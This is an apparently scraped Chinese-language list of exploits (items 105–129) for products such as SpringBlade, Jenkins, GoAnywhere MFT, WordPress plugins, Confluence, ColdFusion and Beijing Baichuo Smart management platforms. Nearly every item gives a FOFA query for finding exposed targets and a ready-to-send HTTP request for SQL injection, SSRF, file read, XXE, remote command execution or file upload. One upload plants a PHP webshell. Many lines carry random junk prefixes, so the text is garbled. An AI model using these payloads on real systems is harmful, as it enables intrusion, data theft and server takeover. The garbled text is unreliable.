POST /cgi-bin/cstecgi.cgi HTTP/1.1
+ b% e" a7 g, rHost:192.168.0.1
Content-Length:41
  W+ B/ p7 |* ]Accept:application/json,text/javascript，*/*;q=0.01
, w+ P+ a/ s* `8 T3 J* iX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
' T$ }2 c1 H* }0 `: ~. W. @Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
9 T0 U* \' c: n7 |; M+ H+ pAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
* g* T. r1 I7 s- u
{
. ]( \6 O7 K7 Y6 E2 Y; Y( l: i"topicurl":"getSysStatusCfg",
4 @4 `  a0 l% u  P5 k$ u& Q"token":""
}

% N6 [& {- B( n4 X. o7 K105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
3 x, ?  m, m. k7 W
106. SpringBlade dict-biz/list SQL 注入
! [! q- [4 e8 p9 d( v0 i0 ?FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
' t6 n' C; V  u& [Accept-Encoding: gzip, deflate
2 D% A+ O/ _' @8 fAccept-Language: zh-CN,zh;q=0.9
0 R# A2 E. q" {! T, GConnection: close
5 m! ]6 N0 D3 k! f" L* `
4 W+ m, S9 d$ g* d
. v  d! ~3 s# B: @, o3 ]107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
( n0 o" S5 s1 \! |7 o6 ^, `% t0 RGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
" }" D4 |5 N; Z5 o& KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) `* P# e) t2 L. yBlade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
' f% {) d; d2 X- o& o6 B9 ^/ X3 x& |FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
# c( E1 g* A1 r+ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ T8 g8 o$ D5 N) }- U1 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

% m+ _, `2 s" I) D, X2 ?
2 c. y# @" K$ H# }; q' h  {7 k  \; w109. Jenkins CLI 任意文件读取
3 K( I. o& u6 A' u9 B0 C5 LCVE-2024-23897
; _2 D$ O  p8 V. }FOFA：header="X-Jenkins"
# |! k9 i: g3 Q& g( I3 sPOST /cli?remoting=false HTTP/1.1
- p5 K% v* E% ]& mHost:
/ i7 u$ ~7 I0 {6 zContent-type: application/octet-stream
; C1 @5 d2 c" C9 {% F- V& cSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
# B. t* {1 S$ V  }- XSide: upload
" N' k% \* c2 ?2 m0 X6 b# X; ZConnection: keep-alive
1 n) i' M) n- W) OContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


( P, F& I. T& n& G7 o2 [POST /cli?remoting=false HTTP/1.1
Host:
% M; U4 }1 F1 i$ z- hSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
3 `# ?7 \7 Q/ z+ r1 i# hdownload
6 E( b5 [6 q9 ^# W2 rContent-Type: application/x-www-form-urlencoded
Content-Length: 0
9 i4 O" M! ]3 j3 q, j8 D
+ y, V& T  v" I& F9 X$ y
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
3 l& h* \7 T7 X[COMMAND]
* }( C% P0 F" R5 Z+ g+ h# t9 |Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
6 p: p& J1 h% P  M; y- s, c* Q0 P
+ c$ _: H- r" E4 T, k" W0 j
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
8 [/ N. U: E3 WConnection: close
9 q% b4 W: F. d* iAccept: */*
0 H# \) |4 {4 N; B& i& sAccept-Language: en
Accept-Encoding: gzip

* N: \# K8 F! {( W" I
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
1 A5 X& x0 n# f9 DGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
! L9 h' D5 W& Q# s9 kHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 O( q1 t5 M' @( \Connection: close
Accept: */*
: S/ h1 t% S% OAccept-Language: en
$ \8 G' F4 a' A  x4 `Accept-Encoding: gzip
0 j, [: o$ \5 F+ F' {

4 y# u- l2 v2 r1 y) C- C112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
1 g9 b% H* e0 GFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
, i- f1 w% ?  q" ]7 [. V8 X. v
5 z, K% d$ A5 J: {$ c{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
# |& _! p0 n8 S4 {  t2 {
* B, x9 W2 Z3 D, k: e0 M2 f
113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
: I/ J6 M: r9 v, [5 c1 SConnection: close
4 h7 ?' M+ m6 h1 s3 \Accept: */*
4 e, n" F5 n  I* T  f+ y9 N9 hAccept-Language: en
Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
" _- g4 z/ X6 `, n4 b! \. zGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
! J$ }% \4 b7 c) Y/ H$ uHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
* ~4 W6 H: b( _+ e1 u( `" U, ^8 W

115. WordPress Bricks Builder <= 1.9.6 RCE
( E- O$ B- A* LCVE-2024-25600
. r$ d  s5 s  ]& ]7 x  s" Z4 ~FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
3 ~0 r% p8 A, u7 f% x7 ~- Y9 TGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
- f6 v; Q7 a8 ?- ]9 ?Connection: close
Accept-Encoding: gzip
, Q# O- ?1 I+ R3 m& F# i  M
7 p& J  g0 f1 \6 y, Z4 h/ F
! i# z) C# R7 t1 O2 u9 e5 Q% Y4 \第二步替换nonce值，执行命令
' k8 c, s; y+ |/ H) GPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' o8 b% R' d! z6 t2 g0 c$ Q" B2 ^2 D, GConnection: close
Content-Length: 356
$ q+ P& F) d9 g$ v0 @9 y4 I8 oContent-Type: application/json
4 Q/ K" R9 R! B0 f4 ZAccept-Encoding: gzip

2 x1 x/ B  v+ Q( G# v  r8 s$ `{
, K7 v$ y% ^/ L3 N( V. H"postId": "1",
% }1 z/ R# {0 G+ V5 f8 B( @  "nonce": "第一步获得的值",
9 Z. v5 l! C" a' M% t, ~1 D2 W( b  "element": {
5 x9 N5 `9 D% p    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
6 s6 y0 \. C' T( x& B3 r        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
2 m" J$ x7 [  `; m      }
# s" J# [7 j$ h6 J. y    }
  }
}
  V0 ~2 f: ]8 G4 Z
! t# c) H& t+ M# e9 T! O
3 C+ G- z, |9 X( ~9 H116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
; i2 c' C! {- [User-Agent: Mozilla/5.0
* C' |  W4 P. ~& ~& w
" v+ s: h( t& o9 f( j0 s) v----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
0 ]- O& x+ J6 F) uContent-Disposition: form-data; name="form_request"
jssupportticket
; T$ F+ y) P2 Y4 Y6 c' h$ N----------767099171
4 L, h( W4 u' R! d# |Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
+ I* M; U: h2 \1 t: b* M# J9 j2 N: Z
( Q6 m+ n/ y$ [+ i0 _
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
$ C4 `9 d# w1 [8 l2 s* V7 OFOFA：body="/wp-content/plugins/LayerSlider/"
  l9 c( W7 s( x7 z  v1 I# b& @GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% {8 W5 S/ z& `! JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
4 }1 Q- {0 P+ W5 rUpgrade-Insecure-Requests: 1

. c5 T' H) c& J/ n+ q
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
: d2 W2 @' }+ l. G* B" @+ {FOFA：title="Smart管理平台"
/ Y0 @% U% l' [* A9 @4 T4 RPOST /Tool/uploadfile.php? HTTP/1.1
* ~) O% U- G' F8 SHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 R( C  _" L0 M, D' {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 M- z* c. y+ k1 U! DAccept-Encoding: gzip, deflate
  h; o# R8 a8 M  NContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
/ A: u2 b0 @) l& WContent-Length: 405
) D4 Z, y4 f1 t) S4 |8 ]Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
# f$ M: s/ P: |4 o( A) gSec-Fetch-Mode: navigate
5 G* G9 W. E' t5 r9 a/ x% ZSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
6 I  }2 ]' \+ [' cConnection: close
& X7 I2 [0 D: T. A; ~! P" m, U/ o/ l
/ d9 h' a9 Y* ^& k( Q2 t-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
/ X+ n  F6 o9 S& h
<?php
4 }8 @. I- L0 l$ w, P8 Zsystem($_POST["passwd"]);
: |$ h8 U7 h/ c( q7 \, R?>
  _% D- B# y% b" s; f2 r-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
# R2 L2 N0 R+ n-----------------------------13979701222747646634037182887--


访问/home/src.php
; S: ~4 |% K+ F; h
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
) N$ y7 U6 C3 ^FOFA：title="Smart管理平台"
  c5 A5 K: M$ q. q先登录进入系统，默认账号密码为admin/admin
% N, ?! [  X& W: {POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
$ g' ~  `; q; rCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
7 j+ {: \2 i- J5 d. y1 ?1 S7 s* qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
0 U/ x. N+ w+ x3 y( b' YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
6 T# C$ y7 \- E) ?3 L1 G! R' `Origin: https://58.18.133.60:8443
8 V+ x' T* c% R0 f- x' V. _3 wReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
/ h6 X6 V' C. y* b( O$ oSec-Fetch-Mode: cors
& a$ [* A. w) J1 e6 ~# e1 `# uSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
8 s9 V7 J; G$ `5 m9 ]6 aX-Remote-Addr: 1.1.1.1
Te: trailers
5 p. D% R# U$ q, P) [0 MConnection: close
8 i: ]" }' l! N6 F, z  M
# @! t& y' G' _+ F9 msrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
, L3 N  C. y8 G1 A( \8 D! |

120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
1 u! U% ]- M. t/ U2 RFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
4 J" _% m0 M( i( i9 M0 LUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
: T) ^% Y2 W& B2 P2 T) ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# R$ a4 m" s9 q, NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( ]! v) i4 C0 d# V. Q8 UAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
9 }, q, R' w5 _# qContent-Length: 597
$ b: e- \' V* eOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
, v% m& y, m& h6 M4 _9 @  N! mUpgrade-Insecure-Requests: 1
# n# o% \9 K( i& U; U& E3 @Sec-Fetch-Dest: document
& f0 i' O, N  P4 I" kSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 y6 x: E0 u2 j6 @( T1 m4 g7 P7 r% @1 [2 xTe: trailers
2 c# {: [5 A/ i# T$ }8 iConnection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
3 l% ^5 w8 E8 X/ s
4 r8 `  Q% s. v0 n% L6 c# v0 q<?php phpinfo()?>
8 V4 V* @5 o, w* h8 p-----------------------------42328904123665875270630079328
; k# V, `6 R% Y2 V9 q" tContent-Disposition: form-data; name="id_type"
$ ~. l5 \0 V  j5 m9 _
; H% t( X6 e) @! A; f2 s' J1
8 b, Y4 K1 j' }7 ^( A9 _-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
+ J* h6 A- [8 w! t8 D2 ]
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
- S, M3 S7 f) b6 A  Q; d
0 ~# G- T' N2 m' ?import
7 `4 _/ b7 \' G6 e  ~6 a0 B-----------------------------42328904123665875270630079328
) p' [1 ~0 l, Z$ p) F

7 _( X- p+ |' N# Y文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
7 S& _$ S6 `" S1 S+ b0 P* _CVE-2024-1918
5 h- v% i# A7 ?8 r$ IFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ F, Q+ x" P( s- {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
7 m5 P7 d* C  V  h4 }Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
' v1 I5 H$ D) f$ O4 q$ XSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
' k, u* f* A8 S: hSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
% M& O8 N$ O; ^
-----------------------------42328904123665875270630079328
9 S& D- e* V" {, u( i  {0 }Content-Disposition: form-data; name="web_img"; filename="1.php"
$ j2 ~( i+ k3 e- b# |Content-Type: application/octet-stream
7 d; K  z3 O* F5 M; f4 g: @# r
5 j$ F  i' s4 h" D6 c<?php phpinfo();?>
- L" T) }, H$ D: @& ?-----------------------------42328904123665875270630079328
- p7 A1 z# m6 m, R0 xContent-Disposition: form-data; name="id_type"

6 c3 l% P6 p/ e, @2 o/ s! B1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

+ \) w5 h' U; ?7 H9 i7 Z8 H1_radhttp
8 G3 J, j) P- A& U; G, d5 l1 Q& p-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

+ e3 Q9 B' Q* u( [! B7 \9 U( {) Fset
-----------------------------42328904123665875270630079328
1 J' q9 o3 c% j5 C9 h, [

: {+ J$ c, F9 `  Aboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
5 ]& r1 d# K# K# M' wCVE-2024-27718FOFA：title="Smart管理平台"
$ i+ l) m! M' v0 o其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
1 n' _4 T& B: ?GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
0 R- A/ T- }% x. k! F4 iHost: x.x.x.x
; ?3 w. a, G$ X8 i+ wCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# |  s# L; I8 n( O# IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& J. W' D: y* ^* `; {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
+ ~% ]$ [. O/ o4 j3 ^) m0 xUpgrade-Insecure-Requests: 1
' {: _; F, H5 [$ ASec-Fetch-Dest: document
( ~6 D+ G! Q5 c5 x% s2 mSec-Fetch-Mode: navigate
+ {# c& ?; U: \) pSec-Fetch-Site: none
2 g9 O. r* ]  f. K! zSec-Fetch-User: ?1
Te: trailers
1 N% N" R0 n+ {7 T7 SConnection: close
% k+ J' k. Z$ _! V4 [5 I

123. Atlassian Confluence 模板注入代码执行
9 i+ O7 F6 Z4 q0 Z& m, O; m1 M" o5 ~FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
- b& F/ n* V8 H# rPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
: G  Z2 \# G. c4 P7 B' hAccept-Encoding: gzip, deflate, br
( O: d7 l9 j! I' f! EAccept: */*
1 H. r0 e. q* YAccept-Language: en-US;q=0.9,en;q=0.8
7 _* H$ B) I! zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
. A$ C& C. X, b# }0 I6 uConnection: close
, s* s; ^8 X0 n$ E6 U( I) H) h# xContent-Type: application/x-www-form-urlencoded
6 @5 s8 d& R: Q9 s; c& a: v; u
- Z4 J; i0 H9 Q# b, U: J: R, olabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
: n3 j2 n; i) U! l- i6 ^
# L6 z/ d5 t& T8 J" K
  R1 Z8 e4 K/ N124. 湖南建研工程质量检测系统任意文件上传
1 c1 H) R7 W, v4 A2 \# XFOFA：body="/Content/Theme/Standard/webSite/login.css"
2 {* U  c6 `9 sPOST /Scripts/admintool?type=updatefile HTTP/1.1
: u8 M( g+ J" V, `+ KHost: 192.168.40.130:8282
9 `; S/ \9 ^' D' |0 D( t  cUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
+ L; o( H3 X* U) DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* l- N1 e. z" g4 gContent-Type: application/x-www-form-urlencoded
2 L6 ]0 Y8 X) \4 g4 u/ p
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
0 I- [+ v6 A: T

( j: H( s4 F+ i% Ahttp://192.168.40.130:8282/Scripts/abcgcg.aspx

' F8 z' N6 O4 P- v& M' @- u/ q8 `125. ConnectWise ScreenConnect身份验证绕过
% Y) p5 y" @# H% jCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

% g2 C) f* l$ l! d
使用方法
0 k+ ?1 d' l. D* H% Z) Ypython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
, n# q; \5 ^) B* H6 j% o
5 {9 Z. g  X; @1 A$ f! O7 {
4 w1 E6 F# K  F0 e5 u创建好用户后直接登录后台，可以执行系统命令。

) M9 }) i6 v' c$ ^126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
+ [1 O8 a  G( E% ^& q0 `/ r9 o$ IGET /static/../../../../../etc/passwd HTTP/1.1
8 j: P7 u9 M3 U5 H2 _+ QHost: x.x.x.x
- u! C  X& H& W' U7 F" {& M1 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
& ~& N7 W# [0 g: aAccept: */*
Accept-Language: en
# S2 i5 z2 Z- t8 T( E: c+ TAccept-Encoding: gzip

1 o* z' W* m+ o: ]; U
% m5 c% v$ E* o; ]9 j8 K127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
, t% o- f% G" b- u& @POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
1 _. ^. L" [9 Q) ]$ |Host: 192.168.40.130:8888
- b5 G1 [2 ~$ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
( G0 ^8 `! f" K# HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  ]( F# S2 F1 R* e' yAccept-Encoding: gzip, deflate
/ s& m+ m- {1 d, H/ x- {Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
1 ^, C/ D8 P. `- t1 o
------WebKitFormBoundaryJGgV5l5ta05yAIe0
- J3 W! s( b1 J# u0 NContent-Disposition: form-data;name="SystemName"
$ I% A5 r: g; Z' p0 {
- P! C, G9 @6 Y6 x+ NBIM
4 h: `' Q' a7 y% n- S# b: h------WebKitFormBoundaryJGgV5l5ta05yAIe0
- |, U) \$ W& [' [$ d* GContent-Disposition: form-data;name="Params"
1 w& }5 L5 P0 h" y  FContent-Type: text/plain

  J3 ?; @8 j' y) {2 c- ^<?xml version="1.0" encoding="UTF-8"?>
- g' U! I  S$ @. J" N; _6 B: \" B<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
# i8 q- i& N% ^% C7 Z! x6 q>
- X' [/ l# x# M$ I0 _0 f<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--


( _) g$ H3 L# D- e
6 G2 n4 Q' \5 @& g128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
8 O  z* R" J. l$ GPAYLOAD
" i1 o% z/ v3 e$ R
129. Adobe ColdFusion 任意文件读取
/ `) X1 O1 w) F, P$ ?7 x. ACVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
1 K# A2 [- n! j! g; G7 `第一步，获取uuid
7 |6 X( E- Y4 I$ {3 oGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
2 M' g3 Z. {( i: `6 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
# i% s6 C. p8 w8 o1 U3 WAccept-Encoding: gzip, deflate
" R' _+ o: b, c5 RConnection: close
& e+ U. U) W$ a! I1 O3 P6 G+ H
3 }! D1 K" y0 w2 l& T
; z! K- b- L4 n* W5 H第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
